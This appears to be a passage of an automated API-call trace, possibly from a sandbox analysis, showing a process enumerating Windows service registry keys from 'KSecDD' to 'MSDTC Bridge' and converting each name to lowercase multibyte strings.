[0193.897] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0193.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0193.897] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0193.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0193.897] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0193.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0193.898] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0193.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0193.898] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0193.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0193.898] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0193.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1c88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0193.898] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0193.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0193.898] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0193.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0193.898] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0193.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0193.899] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0193.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0193.899] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0193.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0193.899] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0193.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0193.899] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0193.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0193.899] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0193.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0193.899] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0193.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0193.899] RegEnumKeyW (in: hKey=0x140, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0193.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0193.900] RegEnumKeyW (in: hKey=0x140, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0193.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0193.900] RegEnumKeyW (in: hKey=0x140, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0193.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0193.900] RegEnumKeyW (in: hKey=0x140, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0193.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0193.900] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0193.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0193.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1c88, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0193.900] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0193.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0193.900] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0193.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0193.901] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0193.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0193.901] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0193.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0193.901] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0193.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0193.901] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0193.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0193.901] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0193.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f18e0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0193.901] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0193.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1c88, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0193.902] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0193.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0193.902] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0193.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0193.902] RegEnumKeyW (in: hKey=0x140, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0193.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0193.902] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0193.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0193.902] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0193.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0193.902] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0193.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0193.902] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0193.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0193.903] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0193.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0193.903] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0193.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0193.903] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0193.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0193.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1c88, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0193.903] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0193.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 